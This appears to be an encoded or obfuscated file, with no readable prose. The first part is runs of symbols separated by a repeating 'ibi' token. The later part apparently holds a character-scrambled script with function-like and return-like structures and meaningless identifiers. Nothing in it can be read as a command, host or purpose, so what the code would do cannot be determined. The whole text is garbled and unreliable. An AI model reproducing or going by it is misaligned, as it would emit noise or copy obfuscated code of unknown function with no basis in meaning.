)8|<)|< ibixibi&9&<ibim9u}w>ibim9u9umdwuibi lu &<u|||
)j,4.js!
)8|<)|< ibixibim9u9umdwuibi lu &<u|||
)j,4.js!
)8|<)|<lu &<u|.bjb!29yu||< ibi 8|)lu &<u|||
).2,g~he~t/4.hj#
)|8|<)|< &}ibim9u}w>ibim9u9umdwuibixibi&9&<ibiqmwibi lu &<u|||
)j,4.js!
)8|<)|<lu &<u|.bjb!29yu|| |4bb|| |< ibixibiwqibiw>}libi | }m| m>mj(	:-)* ibi9mibiluduum&<ibi m&<<}u|`|8)* ibi99ry<&%yuibi 8&u9<&u<>ud>t uul :-)*x ibi.be"s2"s/kibi }ymdy&<ibi y<w&<u$&ibid+ibi&l&9ibi  fm>mibi fwibi w9uibi& &duibi9udm>ibi9udm>ibi4b6ibim9u}w>ibi | |4b6|l*|f|l*|f|l*||  ibi 9u&<z&mibi+u<}uibimww>u&<pd&luibi+u<}uibid+ibid+ibi   y<w&<fm>mibi& &duigb/<</7fi &du&	uibi9mibi4bs!,2~/"ibi9mibi4b,2~/"ibi4bs!hibiluduum&<ibiumm+uud$9-y>ibimibi>+&y5poqq-ny9	<z$ibi+995wr}'+>%'u-	ibi y<w&<u$&ibio	d5d		r	9lq<z}55pibi<ibiw+zibi+ibiduwrzupu9ibi y<w&<u$&ibiibi&99ribi9u&u9>ylq< y<w&<ibid&<u6ibi f>wwuibi y<w&<u$&ibiyu9&<&f &du<}uibi&9&<ibidl9ibi99&}ibid&<u6ibifqm+ouwww>uibiwmu9&}<& uibiibi&	uibi}&}uibim9u}w>ibi |t9|l*x ibiy+9ibiy+9ibiy+9ibi& &duibi &du&	uibi& &duibi y<w&<u$&ibifm>mibi l+fm>mibi  y<w&<fm>mibit9ibiy+9ibit:ibit9igb/<</7fimu9&ibi+&6ibi &duuw<u<ibi>dibifm>mibifm>mibi lp<wulww>ufm>mibi4b,ibi &duuw<u<ibim9u9umdwuibi &duuw<u<ibi 4beb6|l*|f|l*|f|l* ibiy+9ibi9mibi |<| |4beb,2~/"6	j(:-f6)*|| f| |4beb2"6||| |< ibi ww>uibi ymdl   ibid+ibi >u}u  ibiqm&<wdylu ibid+ibifm>mibiqm&<wdyluibi f$ibi&<pdibi y<w&<u$&ibid+ibifdibifibifzibifmibifibif}ibifpibifyibif9libi f9fm>mibif>wwuibi &duuw<u<ibiym9umu<l &duibi |<3/ ilydu}lm>m:-f)|fw=|m>mpdyuym9umu<l &du8|<)ibi8|<)|<3| / ilydu=|< &ibi |<m>mpdyuym9umu<l &du8|<)ibi8|<)|< &ibi&9&<ibiqmw< &fm>mibi& &duibil&9<}uibi qmw< &fm>mibi4bbigb/<</7fim9u9umdwuibi |)lu &<u|||
).bjb!2
)||9yu||||| |4bb|| |)|9|< ibi &du}&}uibiyu9&<&f &du<}uibifyu9f&<&ibi &duuw<u<ibim9u9umdwuibi ym9umu<l &du|`fibim9u%yuibif|< &ibi99rl&  ibi& &duibi4bs!ibi%}&odwly'&oibi4bibi zibi>}mluduuibi y<w&<u$&ibium&<ibiww<9ribi&99ribi&u}ibi&99ribi&u}ibiwwlzibiw>lulibi	d}mlwyqqo'	zibiwy9libi y<w&<u$&ibiqmwdu9w>ulydul>zibiplrdu-y9ibiww9<y9libi&<pd&luibifm>mibi9du<ibil+}ibi 4b,,2~/"6ibi 4b,2"6ibil+}ibi | |4b,,2~/"6	j(:-f)6ibi|| f| |4b,2"6|||  ibi9mibi4b,hej2ibim9u9umdwuibi |)& |||lu &<ul|||
)4b,hej2
)|||||9uy9<|8|9|<) ibi4b,hibi}l'ibil+mdibiwd uw>ibil+md}&&<igb/<</7fi 83|m>m| ibi9du<ibiw<9r9} &dibiqmw<u<ibi >u}u ibium&<ibi >pibi>u}uibip<&>9u9ulibiw>lulibij,4.js!ibiw>lulibi 4bs!,2~/"6ibi ibi 4bs!2"6ibi4bs!hibiy+9ibifm>mibi>u}umd}&&<ibim9u9umdwuibi dwzibi>u}uibi y<w&<u$&ibi dwzibi >pibif+zibi>}ibi<plz}y	:wmlibim9u9umdwuibi | | 4bs!h :-)*|9|<8|<)x ibi>u}uibimw9u &dibi9mibi4bs!,2~/"ibi4bs!hibi9m><ibi&9&<ibi3ibi99&}ibi9du<ibif	&mibifm>mibi9wu}mribi(&mj9w>&puibi ymdl ibiluibi# } ibi.be"s2"s/kibi &duu$&ibi &du&	uigb/<</7fiqm<u$w>ulydulibij,4.js!ibi>y9dribi&}uibiwy9l&<u9pdibiw9<uymibiq} r%p5+<+&ibiqm&<wdyluibi& &duibi &du}&}uibi f$ibi& &duibi&}uibi& &duibi}l' &duibiwy9libiw9<y9libij,4.js!ibi &du&	uibioq&&y&>'ozonuibi&9&<ibimibi9du<ibi y<w&<u$&ibiw&pumdy&<ibi&<99ribiw&pumdy&<ibifm>mibim9u}w>ibiy+9ibi}l'ibiw9<9uwibi&<ibi& &duibi!ss. fn:n"y<libi y<w&<u$&ibium&<ibiymlum&<ibi<ibi&}uibi<ibim9u}w>ibi 8|6|t| |t| | tp9tdutw<t y<w&<tud |f ibi 8j(	:-*| `|9|<)*x ibi9du<ibi9du<ibib<u<srmu6mmd&w&< opw9&mibi4u9p&wu9zu9jddqul6 ibi!ss. f5:n"b<u<ibiqw< &igb/<</7fi!ss./"e"2ijsb!ibi!ss. f:n"il& &ulibi2s6ibi4u9p&wu9zu9jddqul6 ibibw>ub<9d6<ww>uibi2s6ibiqumibiwpu9& ribi&9&<ibi y<w&<u$&ibi>}uy9dibim9uy9dibi y<w&<u$&ibium&<ibi&uy9dibi!ss.!e4sibi&9&<ibi 6|l*x ibitpu9& ribiwu}<&wm9+utibib<u<srmu6u$ md&<ibibw>ub<9d6<9uibi4b42i6ibi}l'ibi4b42ij/hibipu9& rumibi y<w&<u$&ibi9wzuwdu<l}&<ibiqw dy>ddibiww>um9umy9uww>uibid&umuulmy9uddibih&u4muulbw>uj./ibih&u4muulbw>uj./ibimy9uddibi,9uu	u.y9ubw>uibi}u>lu$&ibi+9uu	uww>u dy>ibi}u>lu$&ibiwdu9dww>uibiqm wwdu9ddww>uibi&+ouwibiluduubw>uibiqmww>uwdu9ww>uibiym&}&	ubw>uibiym&}&	ubw>uibiwdu9ddibimy9u<ow><uibi&l}&<ibiqml&<o$ibik24sk2cg24sigb/<</7fiihk.bk2cg24sibi& uulibi&9+ibi&&u}mibi&wy}&	um9up&uqibiudu}u<9m9up&uqibiwy}&	uw><uuyy&libi d+y&dlu9ibi99umdwuibi3 w9&mibi3| w9&mibi>}uy9dibi y<w&<u$&ibium&<ibiymlum&<ibiwom9&<<uibiwom9&<<uibi&}uibiwom9&<ulibi3 +lr=ibi3>}dibiwo+ibi&9&<ibiwoibiwoibi+9ibi$wduzu5r<&}z+w-ibimu<qibimu<qibiqmd&<fm>mibiwqdy9dibi3w9&mlwibip9l` y<w&<>p99`

& 9&`:&3>fdu<>&*`59*`49&<f 9}b>9blum9u/<>fy+9&59uy9<9{ibiq`<p&9l
ibiu9p&wu9zu9ibi
)ibidy`ibi& qql
ibiuku&9&<ibi
)f>u< y<w&<99f 92w> y<w&<9p9}`?dyibi& ?}l
ibiw&puibi
l
ibiq&&<ibi&<dd&<ibi
)f 92w> y<w&<z& 9z)779z)l
ibiw9&mgkhibi
)```dy}`{ibi& }9l
ibiy<9u&u9igb/<</7fi
){{l
ibiww>ibi
) y<w&<{ibi3 w9&m=ibi99umdwuibi y<w&<u$&ibim9uy9dibi99&}ibi3w9&mlwibip9l` y<w&<>p99`

& 9&`:&3>fdu<>&*`59*`49&<f 9}b>9blum9u/<>fy+9&59uy9<9{ibi
)ibi& qibiql
ibiuku&9&<ibi
)ibio<u<wluibif>u< y<w&<9& ?9ql
ibi9u&u9ibiwmu6ibi{l
ibiww>ibi
) y<w&<{{ibil
ibiww>ibi
) y<w&<{ibill2pu<h&u<u9ibi
)l
ibi}uuibi
 y<w&<uibip9p`ul
ibilibi
)ibi& p77pfw9r<uqy<w&<+pfw{ww>${{{ibi9ulribi
)f>u< y<w&<9ibi9l
ibi
)l
ibimiuuibi
)6
9
{{{ibiq9uibi &du}&}uibi &duuw<u<ibi.be"s2"s/kibid+ibid+ibi&99ribi&99ribiy+9ibi&99ribi&l&9igb/<</7fiy+9ibifm>mibi &du}&}uibi &du&	uibi9mibim9u}w>ibimww>u&<pd&luibiquumibi+u<}uibif  ibi+u<}uibifm>mibi flibil&9<}uibi}ymdy&<ibium&<ibil&9<}uibi+u<}uibi y<w&<u$&ibiw&pu&uq&lumdy&<ibil&9<}uibi f+libiu$mdluibiwy<ibiy<d&<zibi y<w&<u$&ibi &dumyw<u<ibi &du&	uibim>ibi9udm>ibi y<w&<u$&ibifm>mibiy+9ibi}l'ibiw+pu9ibiw+pu9ibi=`ibiw+zibi4bbek2,ees4skj..2ibiw+zibi4bbek2,ees2kibi9&<ibiyw-<upprzn>::<ibi&z>'y$'yr$&d%-wribi.js!/"e2s2"4/e"ibi<-5zz9yqq< -ibi9u&u9>ylq< y<w&<ibi9u&u9>ylq< y<w&<ibi$:n<+qy 9	l>-ibipl&z'd}wd< igb/<</7fi+u<}uibi9&}ibi &duuw<u<ibil&9<}uibi f+ibifm>mibifw ibiy<d&<zibi$ ''y9	o-'}ibio> 9'om9y:ibidlmdy&<fm>mibil}&<&<&ibi$$r}nu5pw}}d+5pnibim}pr&9+$zrnd:yibi>9o95%rnd+ %-ibi  mpo&'9&z- ibiqm }ud &<lu9w<<uw9mibi rwmq$lo:$}y'ibiqm &du}<u9w<<uw9mibiud &<lu9w<<uw9mibi rwmq$lo:$}y'ibi &du}<u9w<<uw9mibiy>u<&wuibi%% %y9m>wdzrr}ibiqmd&<ibiqpo&$z$	n5ibim9uyu9%yu9ribiowp: d$:rn %$pibi9uyu9%yu9ribiwd}$ <od55l$9nzqibip&uqyu9ibiow+mmp-uzzm>	ibilu+y&< 9}&<ibiqw&}-:%o%&'ibi>qlp<wulmdy&<ibi<q%nu<+'-+	ibil}&<>ulmdy&<fm>mibi+ w}nnu mduw:}ibi&u9<&u<ymlumdy&<ibi&nwqqw%q$zwibiddmdy&<ibiqmo$}z &du dlu9}<u9ibi%ulr+lw<9y-ibiqmo$w<<uw9ibi%ulr+lw<9y-ibiqmo$ w<<uw9ibi%ulr+lw<9y-ibiqm u9ibimoz<'n9+l}w&ibiu}mdu9ul&9uwigb/<</7fizdn l<}qn%<595&dibil}&< u9ibi>u5odwyy}zm5&&ibid&< u9ibi>u5odwyy}zm5&&ibi$5z<	ro:lrw'ibi%'ouwpw	<+ rp+ibi<rl&9qz}qq'lynibiloo'nowr>:p:<9uibi$&o}rqwq5	libi>$l-qqqwoo+r+y}%ibi$$r}nu5pw}}d+5pnibimw-	'w%m wz9-$olibimdy&<dlulibi	d}mlwyqqo'	zibid-9dmy: -ibidoo9+d}q<9dn+%+ibid&q9}-+'m9'<qq-9ibidz p+w&%ww'wnibium&<ibi y<w&<u$&ibio-r- zr	l$5o5:u9:mibiomz$yz--q%&ibi>ly%<&}mu5$ibi y<w&<u$&ibiymlum&<ibiwd9uwpu9rw>uwzibiwd9uwpu9rw>uwzibi&}uibiy59}+qd5-qq-%mibiw9<w>ulyduibi%o& 9+9	o-&>uibimdy&<dluliggu3<+:;< nj/j'u3(; -:'! n,,&x"7%*"w>* "|fj'g5j+s%?{;"x$'74"':fj'guj(sii`ii`i=-i`i8+<!i`iz`}|i`i>";)i`i' ,/i`i#i`i	 i`i
i`iac%i`i*&i`i:7i`i9i`isi`i(6di`inti`ifei`igi`ii`iibi`i~?i`irq4i`ipwy{i`ivxi`i$ui`i5l3i`ihoi`i2jmi`ik.i`iiuj:sij,4i`i.s!i`iwi`ipu9i`infi`i5mdi`iy&i`i<+i`i}i`ihg~/i`i"ki`ii zi`il>i`irbei`i2qi`i|`i`i $i`i6i`i*i`ici`ii`i:%3i`i	=i`i-'i`ii`i#(i`ioi`i
i`i{)7?i`it8x;i`iaviuj<sllu(!<fj$s~uj$r=:<"+ fj+guj$eeg5j>s=:<>!=fj:bj+j$guj<`sfj>sss(/"=+gqj+j$tj(j>u3<+:;< nj<u3(; -:'! n')<,*!v z,w(-=fj'g5<+:;< n,,&x"7%*"w>* "|fj'gu3(; -:'! n'9}8?4>/7?,4)fj'g5<+:;< n,,&x"7%*"w>* "|fj'gu3(; -:'! n47}#%=++!*:fj'g5j$sj'e~u<+:;< n,,&x"7%*"w>* "|fj$gu3DD(; -:'! n9:z{w/6y69*+}=fj6v"vv<'$=g5j6v"vv<'$=sf'==+:fj6v"vv<'$=gqj6v"vv<'$=t~ge~u<+:;< nj6v"vv<'$=dvu3D(; -:'! n4'y8:{={|#++**,=# |fj&&;$''/g5j&&;$''/sf'==+:fj&&;$''/gqj&&;$''/t~ge~u<+:;< nj&&;$''/dzu3DDnDDDnnnn*+(' +*f'9}8?4>/7?,4)f~ggnn!<nnn+6':uDDnnn(; -:'! nn9),%/4:v49)x!/ /x9}(y:fgDnnnnn5Dnn<+:;< nnnnnn'==+:fj	')<,*!v z,w(-=fggnqnj	47}#%=++!*:fgnntnnn'9}8?4>/7?,4)f|guDnnnn3Dnn(; -:'! nnnnn<xw=w,+~4~}#8~fgDnnnnnnnn5D<+:;< nnnnuDDnnnn3Dnn(; -:'! n'%v=&{)};v6{;76'"?w-7fgDn5Dnnn<+:;< n,,&x"7%*"w>* "|f}gf<xw=w,+~4~}#8~fgguDnn3Dn(; -:'! nnnnnn?9~&<{x4,yw~wx(4/<~fgD5Dn'(nf,,&x"7%*"w>* "|fzgf,,&x"7%*"w>* "|f{gggnnn<+:;< n>";)' ,/=+ /#+f<xw=w,+~4~}#8~fgguDDj*+|?#!/(##,y>nnnnnnsn<xw=w,+~4~}#8~fguDnDDnnnj)#v#:~)*9<;6%{nnnnsnn*+(' +*f,,&x"7%*"w>* "|fxggnnnnnqnnnnnn	 
ntnnnnlluDnnn'(nfj)#v#:~)*9<;6%{nnossnnllnnnnnhhnnnnn')<,*!v z,w(-=fygfj*+|?#!/(##,y>bnnnnj)#v#:~)*9<;6%{gnnsssnnn~gnnnn<+:;< n'9}8?4>/7?,4)fvgf'9}8?4>/7?,4)fwgfj*+|?#!/(##,y>bnnnn47}#%=++!*:f~gfj)#v#:~)*9<;6%{ggbnniaiguD<+:;< nnn')<,*!v z,w(-=f}gf'9}8?4>/7?,4)fgfj*+|?#!/(##,y>ggnnnn`nniainnnnn`nn')<,*!v z,w(-=f|gfj*+|?#!/(##,y>guDnn3Dnn(; -:'! nnnnn;-/!w +!8v87%z=!&:~~ fgDn5Daan; &!!%n=:<! )n)/:+9/7DDDD<+:;< nn,,&x"7%*"w>* "|f}gf*+(' +*f47}#%=++!*:fzggnnnqn	 
nnntnf  
n`n47}#%=++!*:f{ggbnnniaiguDDDDnnnn3D(; -:'! n "w+,?"%y8)'*';{fgDn5Dnn<+:;< nn,,&x"7%*"w>* "|fgf<xw=w,+~4~}#8~fgguDnnn3Dn(; -:'! nnn 6%6=z"z7)$(//*fj+< +&z~!x"4}bnnnj8y${w=# x(w>ynsnfx|e}}gbnj>$(|!-z!$w(;{yxnsnnnn(/"=+gD5Dnnnn<+:;< nn,,&x"7%*"w>* "|fzgf,,&x"7%*"w>* "|fxggnqnnnnn,,&x"7%*"w>* "|fxgfj+< +&z~!x"4}bnnj8y${w=# x(w>ybnnnj>$(|!-z!$w(;{yxgnnntnn(/"=+uDn3Dnn(; -:'! n??:+}<">$9;(=4=8'-+fj(",(/4}#}|y '<!bnnj8y${w=# x(w>ygDDDD5DDnnn<+:;< nn')<,*!v z,w(-=fygf'9}8?4>/7?,4)fvggnnqnnnn')<,*!v z,w(-=fvgfj(",(/4}#}|y '<!bnnnj8y${w=# x(w>ygnntnnnn(/"=+uDnnn3Dnn(; -:'! nnn'7"<=~;<?-87+}? fj(",(/4}#}|y '<!gDnn5Daan#! !#!<>&'4+n9!<%c?;+;+n(!<nn	<!;>n"!-%Dj-~7>$8(=,y<|>s a uj"$$7;,;7 sj-~7>$8(=,y<|>e{}uD<+:;< nnn47}#%=++!*:fygf47}#%=++!*:fwggnnnnqnn')<,*!v z,w(-=fwgfj(",(/4}#}|y '<!gnntn(/"=+uDDDDnnnnn3Dnnn(; -:'! nnnnn-~~%z&yy; '6-}v7):*:fj(",(/4}#}|y '<!bnj'=|)<?,,6>gDDDnnnnnn5DDnn<+:;< nnn47}#%=++!*:f|~gf47}#%=++!*:f|ggnqn'9}8?4>/7?,4)f|gfj(",(/4}#}|y '<!bnnj'=|)<?,,6>gnnnnnntnnnnn(/"=+uDnnn3Dn(; -:'! nn+wz$"%z*-z:%}"fj(",(/4}#}|y '<!gDDDn5DDDDnnnj-$>'~?*z9>;+nsnn9&46;zx7&+;'(fguDn<+:;< nn-~~%z&yy; '6-}v7):*:fj(",(/4}#}|y '<!bnnnnnfj-$>'~?*z9>;+nncnfj-$>'~?*z9>;+nknnnnnfwww{|ezvgggnenn><$64z"x*x#$z|8fgguD3Dn(; -:'! nn&<y"8{4$~,9;%>|fj x~zv<4,%;'yvbnnnj:8:>&"*=,gDnnnnnnn5j4{>=w(#|"swdvuj,>}wx/+*?v/>"sj4{>=w(#|"c|uDnnnnnn<+:;< nnnn47}#%=++!*:f||gf')<,*!v z,w(-=f|}ggnqn47}#%=++!*:f|}gfj x~zv<4,%;'yvbnj:8:>&"*=,gnntn(/"=+uj ?'z<:$:x-*$szdwuj, ~ +#(>sj ?'z<:$:x-*$cvuDn3Dnnnn(; -:'! n(!4;9yx)9<'6/~fj x~zv<4,%;'yvbnnnj:8:>&"*=,gDnnn5D<+:;< nnnn'9}8?4>/7?,4)f||gf47}#%=++!*:f|zggnnnnnqn47}#%=++!*:f|zgfj x~zv<4,%;'yvbnnj:8:>&"*=,gntnnnn(/"=+uDnnn3Dnnnnn(; -:'! nnnnn-xx< -}**&>;z%x-~6xfj+< +&z~!x"4}bnnj(",(/4}#}|y '<!gD5D<+:;< n')<,*!v z,w(-=f|{gf,,&x"7%*"w>* "|f|xggnnqnnn')<,*!v z,w(-=f|xgfj+< +&z~!x"4}bnj(",(/4}#}|y '<!gntnn(/"=+uDDDn3Dn(; -:'! nn+$69#8)!-")<4!fgDDnnnn5Dn=:/:'-nj8;"%'y(4:|?)4w8/nsnn ;""uDnn'(nnfj8;"%'y(4:|?)4w8/nossn ;""gnnn<+:;< nnnnnj8;"%'y(4:|?)4w8/uDnnnnj8;"%'y(4:|?)4w8/nsnn47}#%=++!*:f|{gf'9}8?4>/7?,4)f|yggnqnn')<,*!v z,w(-=f|vgfgnnntnnnn47}#%=++!*:f|wguj)</) !}*v;xsw{dxuj%8?{6#&#z)$sj)</) !}*v;xcwuDnnn'(nnf'9}8?4>/7?,4)f}~gfj8;"%'y(4:|?)4w8/gnnhhnnn,,&x"7%*"w>* "|f}gfj8;"%'y(4:|?)4w8/ggnnnn<+:;< nnj8;"%'y(4:|?)4w8/uDnnnnnnnj'#=|)(>&~~nnnnnnsnn*+(' +*f'9}8?4>/7?,4)f}|ggnnqn  
ntnnnf*+(' +*f'9}8?4>/7?,4)f~ggnqnnnnnnn`n')<,*!v z,w(-=f}}gnntnnllguDnn'(nnnnfj'#=|)(>&~~nnossnnnnnllgnnn5Dnj*+|?#!/(##,y>nnsnn,,&x"7%*"w>* "|f}gfj'#=|)(>&~~bnn')<,*!v z,w(-=f}zggnn`n47}#%=++!*:f}{guDn'(nnnnfo'9}8?4>/7?,4)f}~gfj*+|?#!/(##,y>ggnn'9}8?4>/7?,4)fxgfj*+|?#!/(##,y>bnnnfz}xe{ygbnn:<;+guDDnnnnn'(nf47}#%=++!*:f}~gfj*+|?#!/(##,y>gnnnnnhhnnn47}#%=++!*:f}gfj*+|?#!/(##,y>ggnnn5D'(nnnnf'9}8?4>/7?,4)f|{gf')<,*!v z,w(-=f}xgggnnnn>;:+ 8f,,&x"7%*"w>* "|f}ygnn`nj*+|?#!/(##,y>guDnnnnnnj	'9}8?4>/7?,4)f}vgnsnnuDnnnnnj8;"%'y(4:|?)4w8/nsnnnnnj*+|?#!/(##,y>uDn3Dnnnnn3DDDn<+:;< nnj8;"%'y(4:|?)4w8/uDnnn3Dnnnnnnn(; -:'! n//7;8}<w}4/, v4+#fgDnnn5Dnnj+< +&z~!x"4}nsn "w+,?"%y8)'*';{fguDnj8y${w=# x(w>ynnsnnn;-/!w +!8v87%z=!&:~~ fguDaannv`zn(',+<=n=+::' )=n=+-:'! DDnnnn'(nnfj+< +&z~!x"4}nsssnnnnnj8y${w=# x(w>ygn<+:;< n:<;+uDnnn'(nnf,,&x"7%*"w>* "|f}wgf47}#%=++!*:fz~gggn5DDDDnnnj'z:&:))):"#8-nsn47}#%=++!*:fzgfj+< +&z~!x"4}guDDDDnnj/y:"$64'7;/}<nsnnnn,,&x"7%*"w>* "|fzgfj8y${w=# x(w>yguDn<+:;< nnnfj'z:&:))):"#8-nossnnnn(/"=+nnhhnj/y:"$64'7;/}<nossnnn(/"=+nhhnj'z:&:))):"#8-nsssnnnj/y:"$64'7;/}<guDnn3DDDnnnnn<+:;< nnn(/"=+uDnnn3Dn(; -:'! nn><$64z"x*x#$z|8fgDnnn5Dn<+:;< nnfw}yzveyguDn3Dn(; -:'! nnnnnn9}|48xx,~-|+*!w""|fgDnnnnnnnn5D'(nnnnnfo*+(' +*f')<,*!v z,w(-=f~gggnnnn<+:;< nnnlluDDnnnj'#=|)(>&~~nnsnn*+(' +*f47}#%=++!*:fz|ggnnnnnqnnn  
nntnnnn`nnn'9}8?4>/7?,4)f}}guDn<+:;< n'9}8?4>/7?,4)f}gfj'#=|)(>&~~bnnn47}#%=++!*:f}zggn`n'9}8?4>/7?,4)fz}gnnn`nnnnn')<,*!v z,w(-=fwgf'9}8?4>/7?,4)fzzgfn`nn'9}8?4>/7?,4)fz{ggbn~bnnf~6ye~6ggnn`nn'9}8?4>/7?,4)fzxgnn`nnnn'9}8?4>/7?,4)fwgf')<,*!v z,w(-=fzzgfn`n'9}8?4>/7?,4)fzyggbnn~bnnf|{~|z|ggn`nnn')<,*!v z,w(-=fzvguDn3D(; -:'! nnnnnn,~'9><)&$;~(,:y9 fj>"~&9$z-") 76nnnnnnsnnnnnn ;""gDnnnnnn5Dnnj(",(/4}#}|y '<!nnnnsnn9}|48xx,~-|+*!w""|fguDnnnnnnn'(nnfj(",(/4}#}|y '<!nnsssnnllgnn<+:;< nnnnn(/"=+uDnnnnn'(nfo,,&x"7%*"w>* "|fzwgfj>"~&9$z-") 76gnnn22nn47}#%=++!*:f~gfj>"~&9$z-") 76gnnnrnnfz}exwggnj>"~&9$z-") 76nnsnnnnnn+4667 68'<#||9fguDn'(nnnfoj>"~&9$z-") 76n22nnnnno84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggnnn<+:;< n(/"=+uDnnnnnj+< +&z~!x"4}nsnn47}#%=++!*:fgfj(",(/4}#}|y '<!guDDDnnn'(nnfo,,&x"7%*"w>* "|f{~gfj+< +&z~!x"4}ggn 6%6=z"z7)$(//*fj+< +&z~!x"4}bnnfzvey{gbnnn:<;+guDnnn'(nfo'9}8?4>/7?,4)f{~gfj+< +&z~!x"4}gn22nnnnnno47}#%=++!*:f}gfj+< +&z~!x"4}ggn<+:;< n(/"=+uDnnnnn'(nnnnf47}#%=++!*:f{gfj(",(/4}#}|y '<!ggnnnnnn5DDDnnnnnnn'(nf47}#%=++!*:fzzgf$9v'='y;'&{$%$zy+ff=:<' )gnnnnn47}#%=++!*:f{|gfj(",(/4}#}|y '<!gggnsssn'9}8?4>/7?,4)fzzgfj>"~&9$z-") 76ggnn<+:;< nnn:<;+uDnnnj$/?*8<-%98&6?&#nnnsnn/47<!6"4~:/# >::)${'fj(",(/4}#}|y '<!guDnn'(nfj$/?*8<-%98&6?&#nnossnnnn ;""nhhnn8+<='! -!#>/<+fj$/?*8<-%98&6?&#bnn9),%/4:v49)x!/ /x9}(y:fgbnnnnnipiggnnn<+:;< nnnnnn(/"=+uDn; =+:fj$/?*8<-%98&6?&#guDnnnnn3D'(nnnfo=,?(,4;}z-}  {8=6$'6>fj(",(/4}#}|y '<!bnnj>"~&9$z-") 76ggnn<+:;< nnn(/"=+uDnn??:+}<">$9;(=4=8'-+fj(",(/4}#}|y '<!bnf}}}evygguD"~/(%7wz&:z(&w/fj(",(/4}#}|y '<!guDnnnnnnnn<+:;< nnn:<;+uD3Dn(; -:'! nnn)x-&|y,")|=y7#/84#8&)~fgDnnn5Dnnj>"~&9$z-") 76nsnnnnn+4667 68'<#||9fguDDDDnnnnnnn'(nnnnnfoj>"~&9$z-") 76nnn22no84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggnnnnnn<+:;< nn(/"=+uDDDnj*8?|?/>$9$84~7nnnsnnnnn'9}8?4>/7?,4)f|gf<xw=w,+~4~}#8~fgbnnnn47}#%=++!*:fzvgguj/{{$}}"89|*8s a uj9vv};zv)"x>sj/{{$}}"89|*8eyuDnj8z()4x*~(nsnn'9}8?4>/7?,4)f{}gf')<,*!v z,w(-=f{zggnqnnn;7*|y?6v~=;#*-v8:;w(/fgnnnnntnf*+(' +*f47}#%=++!*:fz|ggnnqnnn  
nnnntnllguD'(nnfj8z()4x*~(nsssnllgnnnn<+:;< n(/"=+uDDnj)#v#:~)*9<;6%{nnnsnj8z()4x*~(nnn`n,,&x"7%*"w>* "|f{{gnn`nnj*8?|?/>$9$84~7uDnnnnnnnj#)+?-),=,$)=nnsnj)#v#:~)*9<;6%{n`nnnniainn`nnnj*8?|?/>$9$84~7nnn`nn')<,*!v z,w(-=fzvguDDDnnnj4$+($4=x,{8+}"'vnnsnnn(/"=+uDnnn'(nf')<,*!v z,w(-=f{}gf'9}8?4>/7?,4)fzgggnn5Dj$ {}|#?*|*nsn47}#%=++!*:fzgfj#)+?-),=,$)=guDnnnnnj=<?#)|~;? w4x#%nnnnnsnn47}#%=++!*:f{xgf<xw=w,+~4~}#8~fgguDj4$+($4=x,{8+}"'vnsnnnf'9}8?4>/7?,4)fzwgfj$ {}|#?*|*gnhhnnnn'9}8?4>/7?,4)fzwgfj=<?#)|~;? w4x#%gnnnnnhhnnnnnj$ {}|#?*|*nnnnsssnj=<?#)|~;? w4x#%guDD3Dn'(nfoj4$+($4=x,{8+}"'vgnnn5Dnnn'(nfo47}#%=++!*:f{~gfj)#v#:~)*9<;6%{ggnnnn 6%6=z"z7)$(//*fj)#v#:~)*9<;6%{bnnfzyyexgbnn:<;+guDDDDn'(nnnnfo')<,*!v z,w(-=f{~gfj)#v#:~)*9<;6%{gnnn22nnnno')<,*!v z,w(-=f}gfj)#v#:~)*9<;6%{ggnn<+:;< nn(/"=+uj;$w w<x(9?#s a uj8/&?>>+*sj;$w w<x(9?#e|yuDnnnnn'(nnnfo'9}8?4>/7?,4)f{gfj#)+?-),=,$)=gn22nn47}#%=++!*:f{ygf$9v'='y;'&{$%$zy+ff=:<' )gnnn'9}8?4>/7?,4)f{vgfj#)+?-),=,$)=gggnnossn47}#%=++!*:f{wgfj>"~&9$z-") 76ggn5D'(nnf,,&x"7%*"w>* "|f{gfj#)+?-),=,$)=ggnnnn5Dnnnnnj$/?*8<-%98&6?&#nnsnnnn/47<!6"4~:/# >::)${'fj#)+?-),=,$)=guDnnnn'(nfj$/?*8<-%98&6?&#nnnossn ;""nnhhnnn8+<='! -!#>/<+fj$/?*8<-%98&6?&#bnnn9),%/4:v49)x!/ /x9}(y:fgbnnnipiggn<+:;< nn(/"=+uDnnnnn; =+:fj$/?*8<-%98&6?&#guDnnn3Daan!>:'#/"n<+-!<*c"/7+<DDDDDnnnnn'(nnnfo=,?(,4;}z-}  {8=6$'6>fj#)+?-),=,$)=bnnn:}(#?!!(%;7/+%{! 9fj>"~&9$z-") 76gggnnnnn<+:;< nnn(/"=+uD??:+}<">$9;(=4=8'-+fj#)+?-),=,$)=bnf}z}eyygguDDn+wz$"%z*-z:%}"fj#)+?-),=,$)=guDn"~/(%7wz&:z(&w/fj#)+?-),=,$)=guj#~$w}?"{/!s uj<$+/, sj#~$w}?"{/!duDnn3DD3D'(nnnf'9}8?4>/7?,4)f{}gf')<,*!v z,w(-=fx~ggnnnnhhnn,,&x"7%*"w>* "|fxgf')<,*!v z,w(-=fx|gggnn5Dj<?8,"{6}4z-zz-!nnsnnj*8?|?/>$9$84~7nn`nniainnn`nnj*8?|?/>$9$84~7n`nn,,&x"7%*"w>* "|fzvguDj6&/4vz9w:-+y=7$nnnnsnn)+:!>:'! f')<,*!v z,w(-=fx}gbnnnn/<</7fgguD'(nnfo47}#%=++!*:fxzgfj6&/4vz9w:-+y=7$ggnnnj6&/4vz9w:-+y=7$nnnsnn/<</7fguDnnnnnnn'(nnfo'9}8?4>/7?,4)fx{gfj<?8,"{6}4z-zz-!bnnnj6&/4vz9w:-+y=7$bnn:<;+ggn5Dnj6&/4vz9w:-+y=7$nsnnj<?8,"{6}4z-zz-!uDDDnn;>*/:+!>:'! f')<,*!v z,w(-=fx}gbnnnn,,&x"7%*"w>* "|fxxgfj6&/4vz9w:-+y=7$gguDnnnnnn3Dnnnn3DDDD<+:;< nnn:<;+uDDDDnnnnn3Dnnnn(; -:'! n/47<!6"4~:/# >::)${'fj(",(/4}#}|y '<!gD5Dnnnnnnnnj*8(|~y9v(|8;<nnsnnnn47}#%=++!*:fxygfj(",(/4}#}|y '<!bnn(/"=+bnnn ;""bnnn~bnnf~6|y*e~6*v}gguDn'(nnnfo,,&x"7%*"w>* "|fxvgfj*8(|~y9v(|8;<ggnn<+:;< n ;""uDnn'(nnf')<,*!v z,w(-=fxwgf,,&x"7%*"w>* "|fy~gbnnnj*8(|~y9v(|8;<bnj8y${w=# x(w>yggn<+:;< nj8y${w=# x(w>yuDn<+:;< nnnn 